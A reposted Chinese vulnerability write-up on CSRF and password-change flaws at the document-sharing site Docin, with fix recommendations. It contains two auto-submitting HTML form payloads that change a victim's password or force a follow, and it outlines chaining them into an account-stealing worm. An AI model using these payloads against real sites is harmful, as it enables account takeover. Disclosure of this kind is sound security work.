当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

豆丁网N处CSRF漏洞及修复

时间:2013/4/19 12:09:00 作者:平凡之路 来源:xuhantao.com 浏览:

【漏洞一】
某天,对豆丁网的修改密码的设计进行了一下分析。
修改密码需要输入3个内容,一个旧密码,一个新密码,一个新密码确认。
确定需要三个框都是绿色钩钩,其中,旧密码的验证也存在缺陷。
通过判断?password=XXXXXXXXXXX返回的结果来判断用户输入的密码是否为真,ture和false,这个过程存在一定缺陷,在拿到用户COOKIES的情况下,利用穷举或者密码库,很容易就可以测试出用户的原密码。
 
=========华丽的分割线=========
 
【漏洞二】
在修改密码POST的表单中,POST了三个参数,分别是oldPwd、newPwd、newPwdAgain
但是,在我的测试当中,删掉oldPwd和newPwdAgain参数,只保留newPwd并进行POST操作,依然可以修改用户的密码,这就导致了可能会在获得了用户COOKIES的情况下,在未知旧密码的情况下强制修改用户的密码。
 
=========华丽的分割线=========
 
【漏洞三】
修改密码的接口?fn=update ,未验证POST表单的来路,结合漏洞二,在豆丁中传播一个带有以下代码的地址,就可以实现任意修改用户密码。
 
<html>
<body>
<form id="imlonghao" name="imlonghao" action="?fn=update" method="post">
<input type="text" name="newPwd" value="XXXXXXXXXXX" />
<input type="submit" value="submit" />
</form>
<script>
       document.imlonghao.submit();
</script>
</body>
</html>
 
=========华丽的分割线=========
 
【漏洞四】
想了想,只是修改用户的密码,但不知道用户的帐号,要利用也只能达到盗取指定用户的帐号的目的,涛涛电脑知识网,并不能广泛的进行蠕虫传播。
于是,我想到了可以用CSRF操作被害用户的帐号关注一个人气小的帐号,那么就可以知道用户的帐号了。
很荣幸,关注接口也没有做来源检查。
接口地址:
 
<html>
<body>
<form id="imlonghao" name="imlonghao" action="" method="post">
<input type="text" name="fansUserId" value="XXX" />
<input type="submit" value="submit" />
</form>
<script>
       document.imlonghao.submit();
</script>
</body>
</html>
 
=========华丽的分割线=========
 
【漏洞五】
想要达到传播蠕虫的目的,还需要一个类似于发微博的东西,于是,涛涛电脑知识网,我想到了修改用户签名的做法。
很很很荣幸,也没有检查来源。
利用方式:
 
?content=[在这里输入你想修改的签名]
 
=========华丽的分割线=========
 
华丽丽的,一个盗号蠕虫就这样制成了。
 
 
漏洞证明:【漏洞一】
  

 
 
 
=========华丽的分割线=========
 
【漏洞二】
【漏洞三】
 
 


 
 
=========华丽的分割线=========
 
【漏洞四】
随便找了一个人
 


 
 
 
=========华丽的分割线=========
 
【漏洞五】
原签名
 
 
 
接口返回信息
 
 
 
修改后
 


 
修复方案:

漏洞一:取消这个验证,将旧密码的验证转入到按确定提交后POST到服务器后在验证
漏洞二:严格验证POST的参数是否齐全
漏洞三:严格验证POST表单来源
漏洞四:同上
漏洞五:同上

作者 imlonghao

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1